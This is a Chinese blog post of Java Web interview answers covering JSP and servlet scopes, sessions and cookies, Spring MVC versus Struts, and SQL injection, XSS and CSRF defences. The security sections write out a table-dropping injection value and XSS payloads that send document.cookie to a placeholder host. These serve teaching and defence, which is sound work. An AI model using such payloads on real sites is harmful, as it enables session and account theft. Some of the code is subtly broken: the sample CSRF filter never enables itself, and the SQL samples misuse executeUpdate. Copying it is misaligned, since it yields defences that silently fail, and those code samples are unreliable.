Java面试题(二)Java Web

Java面试题(二)Java Web

1.jsp 和 servlet 有什么区别?

  • jsp经编译后就变成了Servlet.(JSP的本质就是Servlet,JVM只能识别java的类,不能识别JSP的代码,Web容器将JSP的代码编译成JVM能够识别的java类)
  • jsp更擅长表现于页面显示,servlet更擅长于逻辑控制.
  • Servlet中没有内置对象,Jsp中的内置对象都是必须通过HttpServletRequest对象HttpServletResponse对象以及HttpServlet对象得到.

2.jsp 有哪些内置对象?作用分别是什么?

答:九个内置对象

  • pageContext
  • config,表示一个javax.servlet.ServletConfig对象。该对象用于存取servlet实例的初始化参数
  • response
  • exception
  • out
  • page【只在一个页面中保存属性,跳转页面无效
  • requet【只在一次请求中保存属性,服务器跳转有效浏览器跳转无效
  • session【在一个会话范围中保存属性,无论何种跳转均有效关闭浏览器后无效】
  • application【在整个服务器中保存,所有用户都可以使用】

四个作用域对象:1->2->3->4从小到大的顺序是?
pageContext是内置对象中最重要的一个对象,它代表着JSP页面编译后的内容(也就是JSP页面的运行环境
在这里插入图片描述

3.说一下 jsp 的 4 种作用域?

首先要声明一点,所谓作用域就是信息共享的范围,也就是说一个信息能够在多大的范围内有效。4个JSP内置对象的作用域分别为:applicationsessionrequestpage 。JSP内置对象作用域表如下:
在这里插入图片描述Web交互的最基本单位为HTTP请求。每个用户从进入网站到离开网站这段过程称为一个HTTP会话,一个服务器的运行过程中会有多个用户访问,就是多个HTTP会话。作用域解释如下。

1. application 作用域

  • 如果把变量放到application里,就说明它的作用域是application,它的有效范围是整个应用
    整个应用是指从应用启动,到应用结束。我们没有说从服务器启动,到服务器关闭,是因为一个服务器可能部署多个应用,当然你关闭了服务器,就会把上面所有的应用都关闭了。

  • application作用域里的变量,它们的存活时间是最长的,如果不进行手工删除,它们就一直可以使用。

  • application作用域上的信息传递是通过ServletContext实现的,它提供的主要方法如下所示:

    Object getAttribute(String name) //从application中获取信息

    void setAttribute(String name, Object value) //向application作用域中设置信息

2. session作用域

  • session作用域比较容易理解,同一浏览器对服务器进行多次访问,在这多次访问之间传递信息,就是session作用域的体现。

  • 如果把变量放到session里,就说明它的作用域是session,它的有效范围是当前会话。所谓当前会话,就是指从用户打开浏览器开始,到用户关闭浏览器这中间的过程。这个过程可能包含多个请求响应。也就是说,只要用户不关浏览器,服务器就有办法知道这些请求是一个人发起的,整个过程被称为一个会话(session),而放到会话中的变量,就可以在当前会话的所有请求里使用。

  • session是通过HttpSession接口实现的,它提供的主要方法如下所示:

    Object HttpSession.getAttribute(String name) //从session中获取信息

    void HttpSession.setAttribute(String name, Object value)//向session中保存信息

    HttpSession HttpServletRequest.getSession() //获取当前请求所在的session的对象

  • session的开始时刻比较容易判断,它从浏览器发出第一个HTTP请求即可认为会话开始。但结束时刻就不好判断了,因为浏览器关闭时并不会通知服务器,所以只能通过如下这种方法判断:如果一定的时间内客户端没有反应,则认为会话结束。Tomcat的默认值为120分钟,但这个值也可以通过HttpSession的**setMaxInactiveInterval()**方法来设置:void setMaxInactiveInterval(int interval)

  • 如果想主动让会话结束,例如用户单击“注销”按钮的时候,可以使用 HttpSession 的
    invalidate()方法,用于强制结束当前session:void invalidate()

3. request作用域

  • 一个HTTP请求的处理可能需要多个Servlet合作,而这几个Servlet之间可以通过某种方式传递信息,但这个信息在请求结束后就无效了。request里的变量可以跨越forward前后的两页。但是只要刷新页面,它们就重新计算了。如果把变量放到request里,就说明它的作用域是request,它的有效范围是当前请求周期

  • 所谓请求周期,就是指从http请求发起,到服务器处理结束返回响应的整个过程。在这个过程中可能使用forward的方式跳转了多个jsp页面,在这些页面里你都可以使用这个变量。

  • Servlet之间的信息共享是通过HttpServletRequest接口的两个方法来实现的:

    void setAttribute(String name, Object value) //将对象value以name为名称保存到request作用域中

    Object getAttribute(String name) //从request作用域中取得指定名字的信息

  • JSP中的doGet()、doPost()方法的第一个参数就是HttpServletRequest对象,使用这个对象的
    setAttribute()方法即可传递信息。那么在设置好信息之后,要通过何种方式将信息传给其他的Servlet呢?这就要用到RequestDispatcher接口的forward()方法,通过它将请求转发给其他Servlet

    RequestDispatcher ServletContext.getRequestDispatcher(String path) //取得Dispatcher以便转发,path为转发的目的Servlet。

    void RequestDispatcher.forward(ServletRequest request, ServletResponse response)//将request和response转发

    因此,只需要在当前Servlet中先通过setAttribute()方法设置相应的属性,然后使用forward()方法进行跳转,最后在跳转到的Servlet中通过使用getAttribute()方法即可实现信息传递。

需要注意两点:

  • 转发不是重定向,转发是在Web应用内部进行的

  • 转发对浏览器是透明的,也就是说,无论在服务器上如何转发,浏览器地址栏中显示的仍然是最初那个Servlet的地址。

4. page作用域

  • page对象的作用范围仅限于用户请求的当前页面,对于page对象的引用将在响应返回给客户端之后被释放,或者在请求被转发到其他地方后被释放。page里的变量只要页面跳转了,它们就不见了。如果把变量放到pageContext里,就说明它的作用域是page,它的有效范围只在当前jsp页面里。从把变量放到pageContext开始,到jsp页面结束,你都可以使用这个变量

  • 以上介绍的作用范围越来越小,request和page的生命周期都是短暂的,它们之间的区别:一个request可以包含多个page页(include,forward及filter)。
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

5.session 和 cookie 有什么区别?

1.存储位置不同

  • cookie的数据信息存放在客户端浏览器上。
  • session的数据信息存放在服务器上。

2. 存储容量不同

  • 单个cookie保存的数据<=4KB,一个站点最多保存20个Cookie

  • 对于session来说并没有上限,但出于对服务器端的性能考虑,session内不要存放过多的东西,并且设置session删除机制。

3. 存储方式不同

  • cookie中只能保管ASCII字符串,并需要通过编码方式存储为Unicode字符或者二进制数据

  • session中能够存储任何类型的数据,包括且不限于string,integer,list,map等。

4. 隐私策略不同

  • cookie对客户端是可见的,别有用心的人可以分析存放在本地的cookie并进行cookie欺骗,所以它是不安全的

  • session存储在服务器上,对客户端是透明的,不存在敏感信息泄漏的风险。

5. 有效期上不同

  • 开发可以通过设置cookie的属性,达到使cookie长期有效的效果。
  • session依赖于名为JSESSIONID的cookie,而cookie JSESSIONID的过期时间默认为-1,只需关闭窗口session就会失效,因而session不能达到长期有效的效果。

6. 服务器压力不同

  • cookie保管在客户端不占用服务器资源。对于并发用户十分多的网站,cookie是很好的选择。
  • session是保管在服务器端的,每个用户都会产生一个session。假如并发访问的用户十分多,会产生十分多的session,耗费大量的内存。

7. 浏览器支持不同

  • 假如客户端浏览器不支持cookie: cookie是需要客户端浏览器支持的,假如客户端禁用了cookie,或者不支持cookie,则会话跟踪会失效。关于WAP上的应用,常规的cookie就派不上用场了。
  • 运用session需要使用URL地址重写的方式。一切用到session程序的URL都要进行URL地址重写,否则session会话跟踪还会失效。
  • 假如客户端支持cookie:cookie既能够设为本浏览器窗口以及子窗口内有效,也能够设为一切窗口内有效。
    session只能在本窗口以及子窗口内有效。

8. 跨域支持上不同

  • cookie支持跨域名访问
  • session不支持跨域名访问

6.说一下 session 的工作原理?

  • session 的工作原理是客户端登录完成之后,服务器会创建对应的 session,session 创建完之后,会把 session 的id 发送给客户端,客户端再存储到浏览器中。这样客户端每次访问服务器时,都会带着 sessionid,服务器拿到 sessionid之后,在内存找到与之对应的 session 这样就可以正常工作了。
    在这里插入图片描述

7.如果客户端禁止 cookie 能实现 session 还能用吗?

  • 如果浏览器禁止cookie,那么客户端访问服务端时无法携带sessionid服务端无法识别用户身份,便无法进行会话控制session失效。但可以通过以下几种方法:
  1. URL重写:URL重写要求将站点中的所有超链接都进行改造,在超链接后用一个特殊的参数JSESSIONID保存当前浏览器对应session的编号,这样一来,当用户点击超链接访问服务器时,服务器可以从URL后的参数中分析出JSESSIONID,从而找到对应的sesison使用.
  2. 用文件、数据库等形式保存Session ID,在跨页过程中手动调用

8.spring mvc 和 struts 的区别是什么?

  1. springmvc零配置
  2. struts是类级别的拦截,spring是方法级别的拦截一个方法对应一个request上下文,而方法同时又跟一个url对应,所以说从架构本身上SpringMVC就容易实现restful url,而struts 而其类属性却被所有方法共享,这也就无法用注解或其他方式标识其所属方法了。
  3. SpringMVC的方法之间基本上独立的,独享request response数据,方法之间不共享变量而Struts2搞的就比较乱,虽然方法之间也是独立的,但其所有Action变量是共享的,这不会影响程序运行,却给我们编码,读程序时带来麻烦,每次来了请求就创建一个Action,一个Action对象对应一个request上下文
  4. 由于Struts2需要针对每个request进行封装,把request,session等servlet生命周期的变量
    封装成一个一个Map,供给每个Action使用,并保证线程安全,所以在原则上,是比较耗费内存的。
  5. 拦截器实现机制上,Struts2有以自己的interceptor机制,SpringMVC用的是独立的AOP方式,这样导致Struts2的配置文件量还是比SpringMVC大。
  6. SpringMVC开发效率和性能高于Struts2

9.如何避免 sql 注入?

sql注入是一种十分简单的对数据库数据进行攻击的一种手段,如下所示:

  private String getNameByUserId(String userId) {
    Connection conn = getConn();//获得连接
    String sql = "select name from user where id=" + userId;
    PreparedStatement pstmt = conn.prepareStatement(sql);
    ResultSet rs=pstmt.executeUpdate();
    ......
    }

当传入的参数为:"3;drop table user;"时,
执行时的语句就是:select name from user where id=3;drop table user;
这对于数据来说是非常危险的。

如何避免sql注入呢?
1:遵循编程规范,首先执行预编译,随后再填写参数,这样参数会替换掉编译好的语句中的?占位符,最后执行完整的sql语句。

 Connection conn = getConn();//获得连接
        String sql = "select name from user where id= ?";
        PreparedStatement pstmt = conn.prepareStatement(sql);
        pstmt.setString(1, userId);
        ResultSet rs=pstmt.executeUpdate();
        ......

还是上边的参数:“3;drop table user;”
最后执行语句就会是:select name from user where id=“3;drop table user;”。 避免了sql注入。
2:使用存储过程。

  • 存储过程(Stored Procedure)是一组完成特定功能的SQL语句集,经编译后存储在数据库中,用户通过调用存储过程并给定参数(如果该存储过程带有参数)就可以执行它,也可以避免SQL注入攻击
    例如:
 Connection conn = getConn();
        stmt = conn.prepareCall("{call name_from_user(?,?)}");
        stmt.setInt(1,2);
        stmt.registerOutParameter(2, Types.VARCHAR);
        stmt.execute();
        String name= stmt.getString(2);

    存储过程如下:
    use user;
    delimiter //
    create procedure name_from_user(in user_id int,out user_name varchar(20))
    begin
    select name into user_name from user where id=user_id;
    end
    //
    delimiter ;

在这里插入图片描述

10.什么是 XSS 攻击,如何避免?

  • XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。

原理

  • 攻击者往 web 页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构重定向到其他网站等。

种类

  • 1、DOM Based XSS:基于网页 DOM 结构的攻击
    例如:input 标签 value 属性赋值
    //jsp
<input type="text" value="<%= getParameter("content") %>">

访问

http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script>//弹出 XSS 字样   
http://xxx.xxx.xxx/search?content=<script>
window.open("xxx.aaa.xxx?param="+document.cookie)
</script> //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站

利用 a 标签的 href 属性的赋值
//jsp

<a href="escape(<%= getParameter("newUrl") %>)">跳转...</a>

访问

http://xxx.xxx.xxx?newUrl=javascript:alert('XSS') //点击 a 标签就会弹出 XSS 字样

变换大小写

http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样

加空格

http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS')    //点击 a 标签就会弹出 XSS 字样

image 标签 src 属性,onload、onerror、onclick 事件中注入恶意代码

<img src='xxx.xxx' onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />

2、Stored XSS:存储式XSS漏洞

<form action="save.do">
        <input name="content" value="">
</form>

输入

 <script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>

提交,当别人访问到这个页面时,就会把页面的 cookie 提交到 xxx.aaa.xxx,攻击者就可以获取到 cookie

预防思路

  • web 页面中可由用户输入的地方,如果对输入的数据转义、过滤处理
  • 后台输出页面的时候,也需要对输出内容进行转义、过滤处理
    (因为攻击者可能通过其他方式把恶意脚本写入数据库)
  • 前端对 html 标签属性、css 属性赋值的地方进行校验

11.什么是 CSRF 攻击,如何避免?

CSRF:Cross-Site Request Forgery(中文:跨站请求伪造),可以理解为攻击者盗用了你的身份以你的名义发送恶意请求,比如:以你名义发送邮件、发消息、购买商品,虚拟货币转账等。

防御手段:

  • 验证请求来源地址
  • 关键操作添加验证码
  • 在请求地址添加 token 并验证

下面是CsrfFilter代码:

/** 
 * CSRF跨域请求伪造拦截
 * 除登录以外的post方法,都需要携带token,如果token为空或token错误,则返回异常提示
 * 注意在filter初始化参数内配置排除的url
 * @author zsy
 */  
public class CsrfFilter implements Filter {  
    private static Logger logger = LoggerFactory.getLogger(CsrfFilter.class);
 
    public List<String> excludes = new ArrayList<String>();
 
    private boolean isOpen = false;//是否开启该filter
 
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException,ServletException {  
        if(!isOpen){
            filterChain.doFilter(request, response);
            return ;
        }
        if(logger.isDebugEnabled()){
            logger.debug("csrf filter is running");
        }
 
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        HttpSession session = req.getSession();
        Object token = session.getAttribute("token");
        if(!"post".equalsIgnoreCase(req.getMethod()) || handleExcludeURL(req, resp) || token == null){
            filterChain.doFilter(request, response);
            return;
        }
 
        String requestToken = req.getParameter("token");
        if(StringUtils.isBlank(requestToken) || !requestToken.equals(token)){
            AjaxResponseWriter.write(req, resp, ServiceStatusEnum.ILLEGAL_TOKEN, "非法的token");
            return;
        }
        filterChain.doFilter(request, response);
    }
 
    private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response) {
        if (excludes == null || excludes.isEmpty()) {
            return false;
        }
        String url = request.getServletPath();
        for (String pattern : excludes) {
            Pattern p = Pattern.compile("^" + pattern);
            Matcher m = p.matcher(url);
            if (m.find()) {
                return true;
            }
        }
        return false;
    }
 
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        if(logger.isDebugEnabled()){
            logger.debug("csrf filter init~~~~~~~~~~~~");
        }
 
        String temp = filterConfig.getInitParameter("excludes");
        if (temp != null) {
            String[] url = temp.split(",");
            for (int i = 0; url != null && i < url.length; i++) {
                excludes.add(url[i]);
            }
        }
 
        temp = filterConfig.getInitParameter("isOpen");
        if(StringUtils.isNotBlank(temp) && "true".equals(isOpen)){
            isOpen = true;
        }
    }
 
    @Override
    public void destroy() {}  
 
} 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值